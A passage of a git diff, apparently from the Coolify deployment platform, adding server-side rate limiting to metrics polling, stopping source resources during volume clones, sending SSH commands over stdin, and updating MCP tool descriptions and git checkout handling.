a/app/Jobs/VolumeCloneJob.php b/app/Jobs/VolumeCloneJob.php index 20ad2ff8a8..953afc4eb1 100644 --- a/app/Jobs/VolumeCloneJob.php +++ b/app/Jobs/VolumeCloneJob.php @@ -30,6 +30,22 @@ class VolumeCloneJob implements ShouldBeEncrypted, ShouldQueue $this->onQueue('high'); } + /** + * Explicit tags, so Horizon does not compare the models of the job. In a chain, the job is restored + * with two copies of one server for a clone on the same server, and comparing them fails on PHP 8.4 + * ("Nesting level too deep"), which stops the chain before the copy. + * + * @return array + */ + public function tags(): array + { + return array_values(array_unique([ + Server::class.':'.$this->sourceServer->id, + ...($this->targetServer ? [Server::class.':'.$this->targetServer->id] : []), + LocalPersistentVolume::class.':'.$this->persistentVolume->id, + ])); + } + public function handle(): void { try { diff --git a/app/Livewire/Fleet/Metrics.php b/app/Livewire/Fleet/Metrics.php index a8e11ee0fe..0b71d44cfa 100644 --- a/app/Livewire/Fleet/Metrics.php +++ b/app/Livewire/Fleet/Metrics.php @@ -12,6 +12,7 @@ use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Concurrency; use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\RateLimiter; use Livewire\Attributes\Lazy; use Livewire\Attributes\Url; use Livewire\Component; @@ -194,16 +195,45 @@ class Metrics extends Component public function setRange(string $range): void { $this->range = in_array($range, ['24h', '7d', '30d'], true) ? $range : '24h'; + // Every refresh fetches the full range from each server over SSH, so a new range starts paused. + $this->live = false; $this->loadData(); } public function updatedLive(): void { if ($this->live) { - $this->loadData(); + $this->pollData(); } } + /** + * The poll target. The server decides the refresh rate, so a client cannot fetch faster + * than once a minute or while live refresh is off. + */ + public function pollData(): void + { + $seconds = $this->pollSeconds(); + if ($seconds === null) { + return; + } + + // One second of slack, so a poll that fires slightly early is not dropped. + if (RateLimiter::attempt('metrics-poll:'.$this->getId(), 1, fn () => true, $seconds - 1) === false) { + return; + } + + $this->loadData(); + } + + /** + * Seconds between live refreshes, or null when live refresh is off. + */ + public function pollSeconds(): ?int + { + return $this->live ? 60 : null; + } + /** * @return Collection */ diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 99cacd1a93..fce8bffd0b 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -2,8 +2,7 @@ namespace App\Livewire\Project; -use App\Actions\Database\StartDatabase; -use App\Actions\Database\StopDatabase; +use App\Actions\Shared\CloneVolumeDataWithSourceStopped; use App\Jobs\VolumeCloneJob; use App\Models\Environment; use App\Models\Project; @@ -103,6 +102,11 @@ class CloneMe extends Component if (! $this->environment || (int) $this->environment->project_id !== (int) $this->project->id) { throw new \Exception('Environment not found.'); } + if ($this->cloneVolumeData) { + foreach ([...$this->environment->applications, ...$this->environment->databases(), ...$this->environment->services] as $source) { + $this->authorize(CloneVolumeDataWithSourceStopped::sourceAbility($source), $source); + } + } $selectedDestination = $this->findProjectTeamDestination($this->selectedDestination); if (! $selectedDestination) { throw new \Exception('Destination not found.'); @@ -192,6 +196,7 @@ class CloneMe extends Component } $newDatabase->persistentStorages()->delete(); + $pendingVolumeClones = []; $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { $originalName = $volume->name; @@ -235,22 +240,18 @@ class CloneMe extends Component $newPersistentVolume->save(); if ($this->cloneVolumeData) { - try { - StopDatabase::dispatch($database); - $sourceVolume = $volume->name; - $targetVolume = $newPersistentVolume->name; - $sourceServer = $database->destination->server; - $targetServer = $newDatabase->destination->server; - - VolumeCloneJob::dispatch($sourceVolume, $targetVolume, $sourceServer, $targetServer, $newPersistentVolume); - - StartDatabase::dispatch($database); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); - } + $pendingVolumeClones[] = new VolumeCloneJob( + $volume->name, + $newPersistentVolume->name, + $database->destination->server, + $newDatabase->destination->server, + $newPersistentVolume, + ); } } + CloneVolumeDataWithSourceStopped::run($database, $pendingVolumeClones); + $fileStorages = $database->fileStorages()->get(); foreach ($fileStorages as $storage) { $newStorage = $storage->replicate([ diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index cabf0bc469..57bfbd16f3 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -496,10 +496,11 @@ class GetLogs extends Component */ private function executeLogCommand(Server $server, string $command, int $maxBytes): array { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $this->boundedLogCommand($command, $maxBytes)); - // boundedLogCommand() caps the output at $maxBytes + 1, so one extra byte means truncation. - $output = Process::timeout(config('constants.ssh.command_timeout'))->run($sshCommand)->output(); + $output = Process::timeout(config('constants.ssh.command_timeout')) + ->input(SshMultiplexingHelper::sshBatchInput($this->boundedLogCommand($command, $maxBytes))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($server)) + ->output(); $truncated = strlen($output) > $maxBytes; $logs = rtrim(removeAnsiColors($truncated ? substr($output, 0, $maxBytes) : $output), "\n"); diff --git a/app/Livewire/Project/Shared/Metrics.php b/app/Livewire/Project/Shared/Metrics.php index 8b027d7b49..a5217a7be6 100644 --- a/app/Livewire/Project/Shared/Metrics.php +++ b/app/Livewire/Project/Shared/Metrics.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Shared; +use Illuminate\Support\Facades\RateLimiter; use Livewire\Component; class Metrics extends Component @@ -40,18 +41,51 @@ class Metrics extends Component $this->loadData(); } + /** + * Ranges up to one hour refresh live by default. Longer ranges load once, because each + * refresh fetches the full range from Sentinel over SSH; the user can still turn live on. + */ + public function updatedInterval(): void + { + $this->live = $this->interval <= 60; + } + public function updatedLive(): void { if ($this->live) { - $this->loadData(); + $this->pollData(); } } /** - * Short ranges refresh every 5 seconds; longer ranges change slowly, so they refresh every minute. + * The poll target. The server decides the refresh rate, so a client cannot fetch faster + * than the range allows or while live refresh is off. */ - public function pollSeconds(): int + public function pollData(): void { + $seconds = $this->pollSeconds(); + if ($seconds === null) { + return; + } + + // One second of slack, so a poll that fires slightly early is not dropped. + if (RateLimiter::attempt('metrics-poll:'.$this->getId(), 1, fn () => true, $seconds - 1) === false) { + return; + } + + $this->loadData(); + } + + /** + * Seconds between live refreshes, or null when live refresh is off. Short ranges refresh + * every 5 seconds; longer ranges change slowly, so they refresh every minute. + */ + public function pollSeconds(): ?int + { + if (! $this->live) { + return null; + } + return $this->interval <= 60 ? 5 : 60; } diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 414af27128..198972406e 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -2,8 +2,7 @@ namespace App\Livewire\Project\Shared; -use App\Actions\Database\StartDatabase; -use App\Actions\Database\StopDatabase; +use App\Actions\Shared\CloneVolumeDataWithSourceStopped; use App\Actions\Shared\MigrateResourceToDestination; use App\Jobs\VolumeCloneJob; use App\Models\Application; @@ -72,6 +71,9 @@ class ResourceOperations extends Component { try { $this->authorize('update', $this->resource); + if ($this->cloneVolumeData) { + $this->authorize(CloneVolumeDataWithSourceStopped::sourceAbility($this->resource), $this->resource); + } $new_environment = $this->resource->environment; if ($environment_id !== null) { @@ -145,6 +147,7 @@ class ResourceOperations extends Component } $new_resource->persistentStorages()->delete(); + $pendingVolumeClones = []; $persistentVolumes = $this->resource->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { $originalName = $volume->name; @@ -188,22 +191,18 @@ class ResourceOperations extends Component $newPersistentVolume->save(); if ($this->cloneVolumeData) { - try { - StopDatabase::dispatch($this->resource); - $sourceVolume = $volume->name; - $targetVolume = $newPersistentVolume->name; - $sourceServer = $this->resource->destination->server; - $targetServer = $new_resource->destination->server; - - VolumeCloneJob::dispatch($sourceVolume, $targetVolume, $sourceServer, $targetServer, $newPersistentVolume); - - StartDatabase::dispatch($this->resource); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); - } + $pendingVolumeClones[] = new VolumeCloneJob( + $volume->name, + $newPersistentVolume->name, + $this->resource->destination->server, + $new_resource->destination->server, + $newPersistentVolume, + ); } } + CloneVolumeDataWithSourceStopped::run($this->resource, $pendingVolumeClones); + $fileStorages = $this->resource->fileStorages()->get(); foreach ($fileStorages as $storage) { $newStorage = $storage->replicate([ diff --git a/app/Livewire/Server/Charts.php b/app/Livewire/Server/Charts.php index 65ddde8a7d..77a56a0073 100644 --- a/app/Livewire/Server/Charts.php +++ b/app/Livewire/Server/Charts.php @@ -5,6 +5,7 @@ namespace App\Livewire\Server; use App\Actions\Server\StartSentinel; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Facades\RateLimiter; use Livewire\Attributes\Validate; use Livewire\Component; @@ -150,18 +151,51 @@ class Charts extends Component $this->loadData(); } + /** + * Ranges up to one hour refresh live by default. Longer ranges load once, because each + * refresh fetches the full range from Sentinel over SSH; the user can still turn live on. + */ + public function updatedInterval(): void + { + $this->live = $this->interval <= 60; + } + public function updatedLive(): void { if ($this->live) { - $this->loadData(); + $this->pollData(); } } /** - * Short ranges refresh every 5 seconds; longer ranges change slowly, so they refresh every minute. + * The poll target. The server decides the refresh rate, so a client cannot fetch faster + * than the range allows or while live refresh is off. */ - public function pollSeconds(): int + public function pollData(): void { + $seconds = $this->pollSeconds(); + if ($seconds === null) { + return; + } + + // One second of slack, so a poll that fires slightly early is not dropped. + if (RateLimiter::attempt('metrics-poll:'.$this->getId(), 1, fn () => true, $seconds - 1) === false) { + return; + } + + $this->loadData(); + } + + /** + * Seconds between live refreshes, or null when live refresh is off. Short ranges refresh + * every 5 seconds; longer ranges change slowly, so they refresh every minute. + */ + public function pollSeconds(): ?int + { + if (! $this->live) { + return null; + } + return $this->interval <= 60 ? 5 : 60; } } diff --git a/app/Livewire/TwoFactorRequired.php b/app/Livewire/TwoFactorRequired.php index 72d4091b10..7b4a06ea2a 100644 --- a/app/Livewire/TwoFactorRequired.php +++ b/app/Livewire/TwoFactorRequired.php @@ -17,6 +17,7 @@ class TwoFactorRequired extends Component { return view('livewire.two-factor-required', [ 'teamName' => data_get(session('currentTeam'), 'name'), + 'teamsWithoutTwoFactor' => auth()->user()->teams()->where('is_two_factor_required', false)->get(), ])->layout('layouts.simple'); } } diff --git a/app/Mcp/Tools/ManageApplication.php b/app/Mcp/Tools/ManageApplication.php index be6d802291..ea3d0b593e 100644 --- a/app/Mcp/Tools/ManageApplication.php +++ b/app/Mcp/Tools/ManageApplication.php @@ -16,7 +16,7 @@ class ManageApplication extends RestActionTool protected function actions(): array { return [ - 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}', 'ability' => 'write', 'description' => 'update application settings (data: same fields as the REST update, e.g. name, domains, git_branch, ports_exposes, build_command; instant_deploy and manual_webhook_secret_* need deploy ability)'], + 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}', 'ability' => 'write', 'description' => 'update application settings (data: same fields as the REST update, e.g. name, domains, git_branch, ports_exposes, build_command, is_container_label_readonly_enabled, include_coolify_default_variables; instant_deploy and manual_webhook_secret_* need deploy ability)'], 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], 'clone' => ['method' => 'POST', 'path' => 'applications/{uuid}/clone', 'ability' => 'write', 'description' => 'clone the application to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 'applications/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the application to another environment of the team (data: environment_uuid)'], diff --git a/app/Mcp/Tools/ManageDatabase.php b/app/Mcp/Tools/ManageDatabase.php index 81b6d36a66..333f62f50b 100644 --- a/app/Mcp/Tools/ManageDatabase.php +++ b/app/Mcp/Tools/ManageDatabase.php @@ -16,7 +16,7 @@ class ManageDatabase extends RestActionTool protected function actions(): array { return [ - 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}', 'ability' => 'write', 'description' => 'update database settings (data: name, description, image, is_public, public_port, public_port_timeout, limits_*, type credentials and *_conf fields, redact_all_env_values_in_logs, instant_deploy; instant_deploy and changing is_public need deploy ability)'], + 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}', 'ability' => 'write', 'description' => 'update database settings (data: name, description, image, is_public, public_port, public_port_timeout, limits_*, type credentials and *_conf fields, redact_all_env_values_in_logs, is_log_drain_enabled, include_coolify_default_variables, instant_deploy; instant_deploy and changing is_public need deploy ability)'], 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], 'clone' => ['method' => 'POST', 'path' => 'databases/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the database to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source database while volumes are copied and needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 'databases/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the database to another environment of the team (data: environment_uuid)'], diff --git a/app/Mcp/Tools/ManageServer.php b/app/Mcp/Tools/ManageServer.php index 26f823a375..fe53d77d35 100644 --- a/app/Mcp/Tools/ManageServer.php +++ b/app/Mcp/Tools/ManageServer.php @@ -17,7 +17,7 @@ class ManageServer extends RestActionTool { return [ 'create' => ['method' => 'POST', 'path' => 'servers', 'ability' => 'write', 'description' => 'add a server (data: ip, private_key_uuid, name, description, port, user, server_role, proxy_type, instant_validate)'], - 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}', 'ability' => 'write', 'description' => 'update a server (data: name, description, ip, port, user, private_key_uuid, server_role, proxy_type, concurrent_builds, dynamic_timeout, deployment_queue_limit, connection_timeout, is_terminal_enabled, server_disk_usage_*; changing proxy_type needs deploy ability)'], + 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}', 'ability' => 'write', 'description' => 'update a server (data: name, description, ip, port, user, private_key_uuid, server_role, proxy_type, concurrent_builds, dynamic_timeout, deployment_queue_limit, connection_timeout, is_terminal_enabled, server_disk_usage_*, wildcard_domain, server_timezone, backup_compression_cpu_percentage; changing proxy_type needs deploy ability)'], 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], 'validate' => ['method' => 'POST', 'path' => 'servers/{uuid}/validate', 'ability' => 'write', 'description' => 'start a server validation (data: install=true also installs Docker and needs deploy ability)'], ]; diff --git a/app/Mcp/Tools/ManageService.php b/app/Mcp/Tools/ManageService.php index 523b0a9939..1b2dd1ddf8 100644 --- a/app/Mcp/Tools/ManageService.php +++ b/app/Mcp/Tools/ManageService.php @@ -16,11 +16,11 @@ class ManageService extends RestActionTool protected function actions(): array { return [ - 'update' => ['method' => 'PATCH', 'path' => 'services/{uuid}', 'ability' => 'write', 'description' => 'update the service (data: name, description, docker_compose_raw base64, connect_to_docker_network, urls, force_domain_override, is_container_label_escape_enabled, redact_all_env_values_in_logs, instant_deploy; instant_deploy needs deploy ability)'], + 'update' => ['method' => 'PATCH', 'path' => 'services/{uuid}', 'ability' => 'write', 'description' => 'update the service (data: name, description, docker_compose_raw base64, connect_to_docker_network, urls, force_domain_override, is_container_label_escape_enabled, include_coolify_default_variables, redact_all_env_values_in_logs, instant_deploy; instant_deploy needs deploy ability)'], 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], 'clone' => ['method' => 'POST', 'path' => 'services/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the service to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source service while volumes are copied and needs deploy ability)'], 'move' => ['method' => 'POST', 'path' => 'services/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the service to another environment of the team (data: environment_uuid)'], - 'update_application' => ['method' => 'PATCH', 'path' => 'services/{uuid}/applications/{app_uuid}', 'ability' => 'write', 'description' => 'update a service application (data: url, noindex_domains, human_name, description, image, exclude_from_status, is_log_drain_enabled, is_gzip_enabled, traefik_certificate_resolver, is_stripprefix_enabled, is_force_https_enabled, max_restart_count)'], + 'update_application' => ['method' => 'PATCH', 'path' => 'services/{uuid}/applications/{app_uuid}', 'ability' => 'write', 'description' => 'update a service application (data: url, redirect, noindex_domains, human_name, description, image, exclude_from_status, is_log_drain_enabled, is_gzip_enabled, traefik_certificate_resolver, is_stripprefix_enabled, is_force_https_enabled, max_restart_count)'], 'update_database' => ['method' => 'PATCH', 'path' => 'services/{uuid}/databases/{database_uuid}', 'ability' => 'write', 'description' => 'update a service database (data: human_name, description, image, exclude_from_status, is_log_drain_enabled, is_public, public_port, public_port_timeout; changing is_public needs deploy ability)'], 'import_database' => ['method' => 'POST', 'path' => 'services/{uuid}/databases/{database_uuid}/imports', 'ability' => 'deploy', 'confirm' => true, 'description' => 'import a backup into a service database, can overwrite data (data: source s3 | server, s3_storage_uuid, path, dump_all, replace_existing, keep_owners, restore_mysql_users); check progress with get_database_import'], ]; diff --git a/app/Mcp/Tools/ManageStorage.php b/app/Mcp/Tools/ManageStorage.php index e8e409bc23..950b7cea02 100644 --- a/app/Mcp/Tools/ManageStorage.php +++ b/app/Mcp/Tools/ManageStorage.php @@ -17,7 +17,7 @@ class ManageStorage extends RestActionTool { return [ 'create' => ['method' => 'POST', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'create a storage (data: type persistent|file, name, mount_path, content, is_directory, is_host_file, fs_path; services also resource_uuid; file content and an fs_path outside the resource directory need deploy ability)'], - 'update' => ['method' => 'PATCH', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'update a storage (data: uuid of the storage, type, name, mount_path, content, is_preview_suffix_enabled; content of a file outside the resource directory needs deploy ability)'], + 'update' => ['method' => 'PATCH', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'update a storage (data: uuid of the storage, type, name, mount_path, content, is_preview_suffix_enabled; a content change needs deploy ability; the content is saved right away and written to the server in the background, so a failed write does not change the response)'], 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a storage'], 'set_backup' => ['method' => 'PUT', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'description' => 'create or replace the volume backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), stop_during_backup, retention fields ...; stop_during_backup needs deploy ability)'], 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], diff --git a/app/Models/Application.php b/app/Models/Application.php index 974642a069..37abf54f30 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1942,9 +1942,7 @@ class Application extends BaseModel $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; - if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); - } + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_clone_command))); } else { @@ -1969,9 +1967,7 @@ class Application extends BaseModel $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } - if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); - } + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_clone_command))); } else { @@ -2017,11 +2013,7 @@ class Application extends BaseModel $escapedRepoUrl = escapeshellarg($repoUrl); $fullRepoUrl = $repoUrl; $git_clone_command_base = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; - if ($only_checkout) { - $git_clone_command = $git_clone_command_base; - } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); - } + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); if ($pull_request_id !== 0) { $branch = "{$pullRequestRef}:{$pr_branch_name}"; @@ -2059,11 +2051,7 @@ class Application extends BaseModel $gitlabSshCommand = gitSshCommand($gitlabPort, $customSshKeyLocation); $gitlabGitSshCommand = "GIT_SSH_COMMAND=\"{$gitlabSshCommand}\""; $git_clone_command_base = "{$gitlabGitSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - if ($only_checkout) { - $git_clone_command = $git_clone_command_base; - } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $gitlabSshCommand, baseDir: $baseDir, onlyCheckout: $only_checkout); - } + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $gitlabSshCommand, baseDir: $baseDir, onlyCheckout: $only_checkout); $commands = $this->gitSshKeySetupCommands($deployment_uuid, $private_key, $exec_in_docker); if ($pull_request_id !== 0) { @@ -2120,11 +2108,7 @@ class Application extends BaseModel $deployKeySshCommand = gitSshCommand($customPort, $customSshKeyLocation); $deployKeyGitSshCommand = "GIT_SSH_COMMAND=\"{$deployKeySshCommand}\""; $git_clone_command_base = "{$deployKeyGitSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - if ($only_checkout) { - $git_clone_command = $git_clone_command_base; - } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $deployKeySshCommand, baseDir: $baseDir, onlyCheckout: $only_checkout); - } + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $deployKeySshCommand, baseDir: $baseDir, onlyCheckout: $only_checkout); $commands = $this->gitSshKeySetupCommands($deployment_uuid, $private_key, $exec_in_docker); if ($pull_request_id !== 0) { if ($git_type === 'gitlab') { @@ -2330,8 +2314,9 @@ class Application extends BaseModel { ['commands' => $cloneCommand, 'git' => $git] = $this->generateGitImportCommands(deployment_uuid: $uuid, only_checkout: true, exec_in_docker: false, custom_base_dir: $checkoutDir); + // Callers read data from stdout after the checkout, so progress lines of the checkout go to stderr. return [ - 'command' => str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)), + 'command' => 'exec >&2 && '.str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)), 'git' => $git, ]; } @@ -2350,9 +2335,9 @@ class Application extends BaseModel $checkoutDir = "/tmp/{$uuid}/checkout"; ['command' => $cloneCommand, 'git' => $git] = $this->serverCheckout($uuid, $checkoutDir); $composeFile = ltrim(rtrim($this->base_directory, '/').$this->docker_compose_location, '/'); - $submoduleCommands = $this->composeFileSubmoduleCommands($git, $composeFile); + $submoduleCommand = $this->composeFileSubmoduleCommand($git, $composeFile, $checkoutDir); // Go into the submodule that contains the Compose file, and read the file from the objects of that submodule. - $enterSubmodule = $submoduleCommands === [] ? '' : implode(' ', [ + $enterSubmodule = $submoduleCommand === null ? '' : implode(' ', [ 'while sub=$(git ls-tree -r HEAD | while read -r mode type object path; do', 'if [ "$mode" = 160000 ]; then case "$file" in "$path"/*) echo "$path"; break ;; esac; fi; done) && [ -n "$sub" ];', 'do cd "$sub" || exit 1; file="${file#"$sub"/}"; done;', @@ -2377,9 +2362,9 @@ class Application extends BaseModel "mkdir -p /tmp/{$uuid}", "cd /tmp/{$uuid}", // One sh -c line: the non-root sudo parser would turn `&& if ...; then` into invalid `&& sudo if`. - 'sh -c '.escapeshellarg($cloneCommand), + // The submodule step runs in the same script, because a deploy key is removed when the script exits. + 'sh -c '.escapeshellarg($submoduleCommand === null ? $cloneCommand : "{$cloneCommand} && {$submoduleCommand}"), "cd {$checkoutDir}", - ...$submoduleCommands, 'sh -c '.escapeshellarg($readComposeFile), ]); } @@ -2388,23 +2373,21 @@ class Application extends BaseModel * The clone has no checkout and no submodules. If the Compose file is inside a submodule, this fills the * index (without a working tree) and clones only that submodule, with the credentials of the clone. * - * @return list + * The command is appended to the clone script, so it must not be a separate sh -c line. */ - private function composeFileSubmoduleCommands(string $git, string $composeFile): array + private function composeFileSubmoduleCommand(string $git, string $composeFile, string $checkoutDir): ?string { if (! $this->settings?->is_git_submodules_enabled) { - return []; + return null; } $depthFlag = $this->settings->is_git_shallow_clone_enabled ? ' --depth=1' : ''; $escapedComposeFile = escapeshellarg($composeFile); - // One sh -c line: the non-root sudo parser cannot change commands inside a loop. - return ['git read-tree HEAD', 'sh -c '.escapeshellarg( - 'git ls-files -s | while read -r mode object stage path; do ' + return 'cd '.escapeshellarg($checkoutDir).' && git read-tree HEAD && ' + .'git ls-files -s | while read -r mode object stage path; do ' ."if [ \"\$mode\" = 160000 ]; then case {$escapedComposeFile} in \"\$path\"/*) " - ."{$git} submodule update --init --recursive{$depthFlag} -- \"\$path\" >/dev/null || exit 1 ;; esac; fi; done" - )]; + ."{$git} submodule update --init --recursive{$depthFlag} -- \"\$path\" >/dev/null || exit 1 ;; esac; fi; done"; } /** diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 3782c357c7..e0d68780a7 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -55,6 +55,17 @@ class EnvironmentVariable extends BaseModel 'RAILPACK_SKIP_MIGRATIONS', ]; + /** + * Magic variable commands (SERVICE__) whose value generateEnvValue() generates. + */ + public const GENERATED_MAGIC_VARIABLE_COMMANDS = [ + 'PASSWORD', 'PASSWORD_64', 'PASSWORDWITHSYMBOLS', 'PASSWORDWITHSYMBOLS_64', + 'BASE64', 'BASE64_32', 'BASE64_64', 'BASE64_128', + 'REALBASE64', 'REALBASE64_32', 'REALBASE64_64', 'REALBASE64_128', + 'HEX_32', 'HEX_64', 'HEX_128', + 'USER', 'LOWERCASEUSER', 'SUPABASEANON', 'SUPABASESERVICE', + ]; + protected $attributes = [ 'is_runtime' => true, 'is_buildtime' => true, @@ -125,7 +136,8 @@ class EnvironmentVariable extends BaseModel if (! $found) { $application = Application::find($environment_variable->resourceable_id); - if ($application) { + // A compose preview generates its own magic secrets on the first pull request parse. + if ($application && ! ($application->build_pack === 'dockercompose' && $environment_variable->isGeneratedMagicVariable())) { ModelsEnvironmentVariable::create([ 'key' => $environment_variable->key, 'value' => $environment_variable->value, @@ -156,6 +168,12 @@ class EnvironmentVariable extends BaseModel }); } + public function isGeneratedMagicVariable(): bool + { + return str_starts_with($this->key, 'SERVICE_') + && in_array(parseCommandFromMagicEnvVariable($this->key)->value(), self::GENERATED_MAGIC_VARIABLE_COMMANDS, true); + } + public function preservesLegacyComposeNull(): bool { return $this->preserve_compose_null && $this->value === null; diff --git a/app/Services/ContainerFilesystemService.php b/app/Services/ContainerFilesystemService.php index 5392f7d483..7fe8221f03 100644 --- a/app/Services/ContainerFilesystemService.php +++ b/app/Services/ContainerFilesystemService.php @@ -402,12 +402,15 @@ class ContainerFilesystemService $command = parseCommandsByLineForSudo(collect([$command]), $this->server)[0]; } - $process = proc_open($this->sshCommand($command), [1 => ['pipe', 'w'], 2 => ['file', '/dev/null', 'w']], $pipes); + $process = proc_open($this->sshCommand(), [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['file', '/dev/null', 'w']], $pipes); if (! is_resource($process)) { throw new \RuntimeException('Could not start the download.'); } try { + // The command goes to ssh on stdin, so it is not in a command line on the Coolify host. + fwrite($pipes[0], SshMultiplexingHelper::sshBatchInput($command)); + fclose($pipes[0]); while (! feof($pipes[1])) { $chunk = fread($pipes[1], 64 * 1024); if ($chunk === false || connection_aborted()) { @@ -450,9 +453,9 @@ class ContainerFilesystemService instant_remote_process([$this->buildS3UploadCommand($path, $isDir, $url, $headers)], $this->server, timeout: 3600); } - protected function sshCommand(string $command): string + protected function sshCommand(): string { - return SshMultiplexingHelper::generateSshCommand($this->server, $command); + return SshMultiplexingHelper::generateSshBatchCommand($this->server); } protected function escapePath(string $path, string $label): string diff --git a/app/Services/DatabaseStartCommandExecutor.php b/app/Services/DatabaseStartCommandExecutor.php index 4fc38a9539..7f8090fc61 100644 --- a/app/Services/DatabaseStartCommandExecutor.php +++ b/app/Services/DatabaseStartCommandExecutor.php @@ -23,7 +23,8 @@ class DatabaseStartCommandExecutor $secrets = method_exists($database, 'resolvedSecretManagerValuesForRedaction') ? $database->resolvedSecretManagerValuesForRedaction() : []; - $remoteCommand = 